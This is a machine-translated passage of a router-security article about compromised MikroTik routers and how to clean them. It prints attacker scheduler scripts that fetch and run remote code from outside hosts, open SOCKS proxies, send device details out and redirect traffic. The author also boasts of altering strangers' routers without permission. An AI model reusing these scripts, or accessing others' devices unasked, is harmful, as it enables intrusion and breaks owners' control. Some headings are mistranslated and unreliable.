在专业人员和负责任的专业人员手中,RouterOS是一个非常强大的工具。 但是,在初学者或那些“全力以赴”的人手中,Mikrotik开始过自己的生活,并成为一个僵尸网络节点。
早在2018年5月,我写了一篇文章
,就如何保护我的Mikrotik提出了建议 。
奇怪的是,网络中仍然有成千上万的“开放式” Mikrotik路由器,僵尸网络的军队正在不断补充。
在业余时间,我在整个网络中搜索易受攻击的设备,并根据自己的建议进行设置,即添加了防火墙规则,这些规则阻止了路由器的访问,而不是从本地网络访问。 在评论中,我写了有关该漏洞的信息,并留下了电报频道
@router_os的地址,在这里我可以问一些有趣的问题(它们应该出现在普通管理员中)。

从五月到今天,我从僵尸网络的离合器中“拉出”了十万多个Mikrotik设备。
鉴于我无法
在莫斯科的MUM 2018上发言,我决定在habr.com上发布我的报告
网络上有很多分析可以准确地说明黑客如何使用RouterOS(例如,
here )。 但是我的文章是基于我的经验。
管理员及其反应
在世界各地,路由器管理员迟早会发现这样的复活节彩蛋。

/系统说明/system note print
show-at-login: yes
note: I closed the vulnerability with a firewall. Please update RouterOS. You can say thanks on the WebMoney Z399578297824 or BTC 14qiYkk3nUgsdqQawiMLC1bUGDZWHowix1. My Telegram http://t.me/router_os
最安静地盖了洞。 有人不太懒惰地写我“谢谢”。 但是有些人
大声不理解。
一直以来,不超过50个人写信给我...
由于用户的反应很小,我得出的结论是,绝大多数人甚至都不会注意到路由器上出现了问题。 因此,我开始完善自己的脚本,该脚本除了防火墙规则外,还将删除攻击者留下的我所知道的后门。
我的方法并不适合所有人,这是合乎逻辑的。 但是我还没有想出另一种方法来完成这项任务。
黑客爱RouterOS
在绝大多数情况下,我最终使用的设备已经被某人感染。 不幸的是,我没有立即开始分析它们的内容。 这是我发现的东西,并且肯定会表明您的路由器已损坏。
网络代理和袜子
路由器最常见的用法是通过标准Web和袜子代理。 如果您不使用它们,但已将它们打开,则只需将它们关闭即可。
/ip proxy set enabled=no
/ip socks set enabled=no
但是,只是将其关闭,黑客将脚本添加到了sheduler中,代理将在一段时间后打开:
/系统脚本/system scheduler
add interval=10m name="port 54321" on-event="port 54321" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=sep/02/2018 start-time=20:35:53
/system script
add name="port 54321" owner=gateway policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="/\
ip firewall filter remove [/ip firewall filter find where comment ~ \"port\
\_[0-9]*\"];/ip socks set enabled=yes port=54321 max-connections=255 conne\
ction-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip \
firewall filter add chain=input protocol=tcp port=54321 action=accept comm\
ent=\"port 54321\";/ip firewall filter move [/ip firewall filter find comm\
ent=\"port 54321\"] 1;"
您可以找到代理
webproxy/error.html
您的
webproxy/error.html
文件,然后该文件调用矿工。
额外的参数出现在这里:
/ip proxy access print
/ip socks access print
脚本可以做任何事情
90%的成熟Mikrotik具有脚本
/system script
并为它们配置了执行计划
/system scheduler
。
根据时间表,下载脚本,随后执行该脚本。
矿工安装/system scheduler
add interval=11h name=upd113 on-event="/tool fetch url=http://gotan.bit:31415/\
01/error.html mode=http dst-path=webproxy/error.html" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd115 on-event=\
"/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd116 on-event="/import u113.rsc" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:12
add interval=1d name=Auto113 on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:00:00
/system script
add name=script4_ owner=nivel2 policy=\
ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a\
ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http keep-resu\
lt=no"
脚本的另一个版本,在应用程序之后试图部分隐藏。/system scheduler
add interval=11s name=MTIT on-event="/system script run MTIT" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
add interval=25m name="DDNS Serv" on-event="/system script run iDDNS" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
/system script
add name=MTIT owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=\
"/ping 10.12.0.26 interface=ether4 count=10"
add name=iDDNS owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=":global\
\_mac [/interface ethernet get 1 mac-address]\r\
\n:global port ([/ip service get winbox port].\"_\".[/ip socks get port].\
\"_\".[/ip proxy get port])\r\
\n:global info ([/ip socks get enabled].\"_\".[/ip proxy get enabled].\"_\
\".[/interface pptp-server server get enabled])\r\
\n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
\n/tool fetch address=91.134.24.238 src-path=\$cmd mode=http dst-path=dns;\
:delay 3s\r\
\n/import dns;:delay 4s;/file remove dns"
因此,攻击者总是有机会“提供”新脚本,例如,进行大规模DDOS攻击。
因此,请仔细检查这些地方。 在干净的RouterOS上,这些地方是空的。
夏令时
令我惊讶的是,但是有许多此类设备通过
/ip firewall nat
封装了流量。
dst-nat的垃圾邮件
/ip firewall nat
add action=masquerade chain=srcnat comment="default configuration"
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=8008 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=443 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=25 protocol=\
tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
隐藏真实IP的好方法。
虚拟专用网
就像没有他一样。 RouterOS可以提取各种VPN,但黑客最常使用pptp和L2TP。
所以检查
/ppp secret
部分
即使此部分为空,狡猾的黑客也可以通过Radius登录。
检查记录
/radius print
如果您未进行任何配置,则应为空。 否则,值得清洁:
/radius remove numbers=[/radius find ]
并禁止使用半径
/ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no
禁止在设备上使用Radius进行授权
/user aaa set use-radius=no
如果您不使用VPN,请禁用它
/interface l2tp-server server set enabled=no
/interface pptp-server server set enabled=no
/interface sstp-server server set enabled=no
DNS静态
并非没有费希格。 在/ ip dns static中的路由器上,您可以找到这样的路由器

一切都非常简单:将已知站点的地址驱动到地址栏中,但实际上您可以到达攻击者的服务器。
删除内容
/ip dns static remove numbers=[/ip dns static find]
整理管理员权限
UPD:还有一组路由器,黑客切断了admin的权限,并以完整的权限(例如,router和cnt)启动了自己的权限,或者干脆剥夺了权限并将固件更新为最新版本。

内容/用户(第一种情况)[路由器@ MikroTik]> /用户打印
标志:X-已禁用
#姓氏组地址最后登录
0 ;;; 系统默认用户
管理员管理员九月/ 18/2018 15:08:45
1月整整Sep / 14/2018 19:54:00
2路由器完整Sep / 26/2018 09:23:41
[路由器@ MikroTik]> /用户组打印
0名称=“读取”策略=本地,telnet,ssh,重新引导,读取,测试,winbox,密码,网络,嗅探,敏感,api,romon,tikapp,!Ftp 、!写入,!策略,!花花公子的皮肤=默认
1个名称=“写入”策略=本地,telnet,ssh,重新引导,读取,写入,测试,winbox,密码,网络,嗅探,敏感,api,romon,tikapp,!Ftp 、!策略,!花花蛇皮=默认
2名称=“完整”策略=本地,telnet,ssh,ftp,重启,读取,写入,策略,测试,winbox,密码,web,嗅探,敏感,api,romon,花花公子,tikapp皮肤=默认
3名称=“ admin”策略=本地,ftp,重新启动,读取,写入,测试,winbox,密码,Web,嗅探,敏感,api,!Telnet,!ssh 、!策略,!Romon,!Dude,!Tikapp皮肤=默认
解决此问题的一种方法是:通过netinstall,降级到易受攻击的固件并使用漏洞利用程序。
数据包嗅探器
卡巴斯基实验室的同事
提到通过将流量重定向到未知节点来
盗窃流量 。
您可以这样关闭它:
/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip-protocol="" filter-port="" filter-interface="" filter-stream=no
Mikrotik产品问题
不存在绝对安全的系统。 而且,Mikrotik产品的大规模销售也需要对这些设备进行大量研究。
由于RouterOS的功能允许您执行大量任务,因此对于黑客来说也很有趣。
由于产品的发展非常动态,因此新“漏洞”的出现率也很高。 尽管如此,Mikrotik还是迅速为其系统发布了补丁。
退出
迄今为止,保护RouterOS的唯一正确解决方案是正确配置的防火墙,该防火墙的工作原理是“禁止任何明显禁止的事情”。
所有这一切都是因为Mikrotik使用了经典的Linux防火墙,该防火墙已被专家团队磨练了多年。
如果您需要从全局网络访问设备,请使用“
端口断开 ”原理。 “ fail2ban”原理并不总能证明其正确性,因为它仍然可以检测到设备。
全球解决方案
激光模式
由于这些设备非常便宜,因此由不具备特殊知识的用户购买。 与大多数SOHO路由器一样,Mikrotik需要开发一个“层”界面,该界面具有最少数量的设置。 此外,它应该是默认值。 并且用户必须自己有意识地启用高级模式。 当前的“快速设置”还不够好。 此外,由于有大量的按钮,用户可能不会注意到此功能。
错误分析仪
它还需要一个模块,该模块分析当前配置中可能存在的漏洞,并在用户认为路由器可能受到威胁时通知用户。 该模块应加载Mikrotik员工根据常见错误填写的“知识基础”。 并且在严重漏洞的情况下,启用“紧急”模式。
如果我可以将部分威胁系统化,那么开发人员甚至更多...
防火墙-作为提供商的服务
“智能”设备的市场正在迅速发展,远未得到很好的保护。 购买它们的大多数人也没有专门知识来保护自己的小玩意。
因此,现在是互联网提供商创建保护此类小工具的商业服务的时候了。 您帐户中的Trite用户指示要从Internet打开哪些端口。
供应商还可以创建一个现有设备及其正常需求的集中式数据库。 用户在LC中指示他正在使用哪些设备。 如果此类设备发生异常行为,请通知用户。
我相信这种服务的市场已经成熟。
该服务具有以下优点:
- 对于提供者,另一个收入项目
- 减少虚假流量
- 减少将设备招募到僵尸网络
- 促进发展智能家居服务
- 用户不再需要担心其安全性。
关于我自己的一点
我将尝试回答他们可能会问我的问题。
- 我的职位通常与Mikrotik和网络无关。
- 但是,我有MTCNA证书。
- Mikrotik是我的爱好。 我所做的一切-我都喜欢。 所以说“为了好玩”。
- 为什么没有按个人资料找到工作? 在我们城市购买mikrotik的人不能支付很多ZP。 那些可以付我钱的人买了思科。
- 在对防火墙的评论中,我指出了我的钱包,但是自5月以来,他们只给我扔了40美元。 他们写信给来自不同国家的电报,说他们没有wmz,但都一样,“谢谢”。
PS:
分享您的经验,黑客还可以如何使用Mikrotik。